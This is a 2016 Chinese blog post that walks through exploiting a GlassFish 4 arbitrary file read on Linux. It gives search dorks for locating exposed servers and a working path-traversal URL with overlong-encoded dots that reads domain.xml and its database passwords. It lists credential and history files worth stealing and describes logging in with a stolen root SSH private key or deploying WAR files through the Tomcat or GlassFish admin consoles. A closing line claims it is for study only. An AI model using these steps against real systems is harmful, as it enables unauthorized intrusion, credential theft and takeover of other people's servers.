利用glassfish4任意文件读取拿权限的一些思路

只要讨论的是linux环境
测试发现只针对GlassFish4,且基本上是已root运行的
http://www.wooyun.org/bugs/wooyun-2010-0144595

zoomeye dork
GlassFish Server Open Source Edition 4.1 
放张图

nosec的dork 
body="Copyright © 2005, 2013, Oracle and/or its affiliates. All rights reserved. Oracle and Java are registered trademarks of Oracle and/or its affiliates. Other names may be trademarks of their respective owners."

放张图

竟然是读文件,先来看看linux下比较敏感的文件
/etc/issue 版本信息
/var/spool/cron/crontabs/root 定时任务
/etc/passwd 
/root/.bash_history bash环境下的命令执行历史记录
/root/.pgpass 记录连接postgressql服务器的密码
/root/.psql_history potgressql客户端的执行的sql语句历史记录

重点关注/etc/passwd文件,后面带有的:/bin/bash 这个文件告诉我们有那些用户,会分别对应/home/下的文件夹(默认情况下) 
还有/root/.bash_history,这里面敏感信息比较多。

各种数据库密码:

url:http://xxxxx:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml

我遇到的情况

利用ssh的秘钥认证

ssh-keygen -t rsa 默认会在~/.ssh/目录下生成两个文件id_rsa(私钥) 和id_ras.pub(公钥) 
mv id_rsa.pub authorized_keys
authorized_keys这个文件和ssh公钥认证有关,在用ssh登陆的时候,有私钥就可以免密码登陆。

把id_rsa复制到本机的 ~/.ssh/目录记得要把权限改成600哦

然后就可以登陆了

   

一句话总结就是,服务端的authorized_keys内的公钥对应的私钥被你知道了
把私钥放到你本机的~/.ssh/id_rsa,就可以使用ssh登陆  

利用tomcat部署war包

运气好的话读取下tomcat目录下的
/conf/tomcat-users.xml,也许没有注释掉,再部署war包

利用GlassFish部署war包

密码文件在GlassFish安装目录下
/glassfish/domains/domain1/config/admin-keyfile
可惜不是明文

另外:在zoomeye搜GlassFish还有部分机子是没有密码就可以登陆哦!

利用PostgreSQL

注: 
本文仅供学习交流,请勿用于非法用途。

posted @ 2016-01-16 17:06 艾斯泽 阅读(...) 评论(...) 编辑 收藏